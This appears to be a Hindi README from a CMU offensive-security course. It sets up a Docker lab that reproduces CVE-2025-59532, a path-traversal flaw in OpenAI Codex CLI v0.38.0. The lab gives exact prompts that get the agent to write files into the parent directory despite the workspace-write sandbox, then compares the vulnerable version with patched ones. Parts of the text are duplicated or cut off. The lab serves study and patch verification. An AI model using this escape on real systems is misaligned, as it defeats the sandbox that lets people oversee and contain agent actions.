
सीवीई-2025-59532 का विश्लेषण करने के लिए एक डॉकर-आधारित शोध वातावरण, जो OpenAI Codex CLI में एक पाथ ट्रैवर्सल भेद्यता है, जो इच्छित वर्कस्पेस सैंडबॉक्स के बाहर मनमानी फ़ाइल लेखन की अनुमति देती है। सीएमयू पाठ्यक्रम का हिस्सा: 18-739 Hacking & Offensive Security, पतझड़ 2025
CVE-2025-59532 का विश्लेषण करने के लिए एक डॉकर-आधारित शोध वातावरण, जो OpenAI Codex CLI में एक पाथ ट्रैवर्सल भेद्यता है जो इच्छित वर्कस्पेस सैंडबॉक्स के बाहर मनमानी फ़ाइल लेखन की अनुमति देती है। पतन 2025 में CMU पाठ्यक्रम : 18-739 हैकिंग और आक्रामक सुरक्षा का हिस्सा
सबसे पहले, इस रिपॉजिटरी को क्लोन करें:
git clone https://github.com/jjagielo/18739-CVE-Exploration.git
cd 18739-CVE-Exploration
या यदि SSH उपयोग कर रहे हैं:
git clone [email protected]:jjagielo/18739-CVE-Exploration.git
cd 18739-CVE-Exploration
CVE-2025-59532 OpenAI के Codex CLI टूल में एक पाथ ट्रैवर्सल भेद्यता है जो हमलावरों को इच्छित वर्कस्पेस निर्देशिका के बाहर फ़ाइलें लिखने की अनुमति देती है, जिससे सैंडबॉक्स प्रतिबंधों को दरकिनार किया जा सकता है।
../exploit.txt) में फ़ाइलें लिखने के लिए प्रेरित करते हैं, जिससे वर्कस्पेस सैंडबॉक्स से बचकर बाहर निकला जा सकता है, भले ही --sandbox workspace-write सक्षम हो।यह भेद्यता वर्कस्पेस सैंडबॉक्स कार्यान्वयन में अपर्याप्त पाथ सत्यापन का फायदा उठाती है। जब workspace-write सैंडबॉक्स मोड सक्षम होता है, तो Codex को फ़ाइल संचालन को निर्दिष्ट वर्कस्पेस निर्देशिका तक सीमित करना चाहिए। हालाँकि, v0.38.0 में, पाथ सत्यापन सापेक्ष पाथ ट्रैवर्सल अनुक्रमों (../) को ठीक से संभालने में विफल रहता है, जिससे हमलावर AI को पैरेंट निर्देशिका संदर्भों का उपयोग करने का निर्देश देकर सैंडबॉक्स के बाहर फ़ाइलें लिख सकता है।
docker build -t cve-2025-59532:latest .
docker run -it --rm cve-2025-59532:latest
इस Docker वातावरण में Codex CLI के तीन संस्करण शामिल हैं:
एक बार कंटेनर के अंदर, बस codex को इंटरैक्टिव मोड में चलाकर और वहाँ API कुंजी पेस्ट करके अपनी OpenAI API कुंजी कॉन्फ़िगर करें:
codex
API कुंजी ~/.config/codex/auth.json में संग्रहीत होगी और सभी Codex संस्करणों (codex38, codex39, codex50) द्वारा उपयोग की जाएगी।
codex38 --version # Should show v0.38.0 (vulnerable)
codex39 --version # Should show v0.39.0 (patched)
codex50 --version # Should show v0.50.0 (latest)
नोट: वर्कस्पेस /workspace/child पर स्थित है। यह भेद्यता /workspace (पैरेंट निर्देशिका) में लिखने की अनुमति देती है।
असुरक्षित संस्करण का परीक्षण करें (v0.38.0):
codex38 exec --sandbox workspace-write --skip-git-repo-check "Create a file named 'exploit_proof1.txt' in the parent directory with content 'CVE-2025-59532 POC'"
पैच किए गए संस्करण का परीक्षण करें (v0.39.0):
codex39 exec --sandbox workspace-write --skip-git-repo-check "Create a file named 'exploit_proof2.txt' in the parent directory with content 'CVE-2025-59532 POC'"
नवीनतम संस्करण का परीक्षण करें (v0.50.0):
codex50 exec --sandbox workspace-write --skip-git-repo-check "Create a file named 'exploit_proof3.txt' in the parent directory with content 'CVE-2025-59532 POC'"
एक्सप्लॉइट सत्यापित करें:
# Check if files were created outside the sandbox (in /workspace, not /workspace/child)
ls -la /workspace/
cat /workspace/exploit_proof1.txt # Should exist if v0.38.0 is vulnerable
cat /workspace/exploit_proof2.txt # Should NOT exist if v0.39.0 is patched
cat /workspace/exploit_proof3.txt # Should NOT exist if v0.50.0 is secure
# Check current workspace (should be empty or contain only test files)
pwd # Should show /workspace/child
ls -la /workspace/child/
Codex निष्पादन के विस्तृत डीबग लॉग देखने के लिए:
RUST_LOG=debug codex38 exec --sandbox workspace-write --skip-git-repo-check "Create a file named 'exploit_proof.txt' in the parent directory with content 'CVE-2025-59532 POC'"
डीबग लॉग निम्न दिखाएंगे: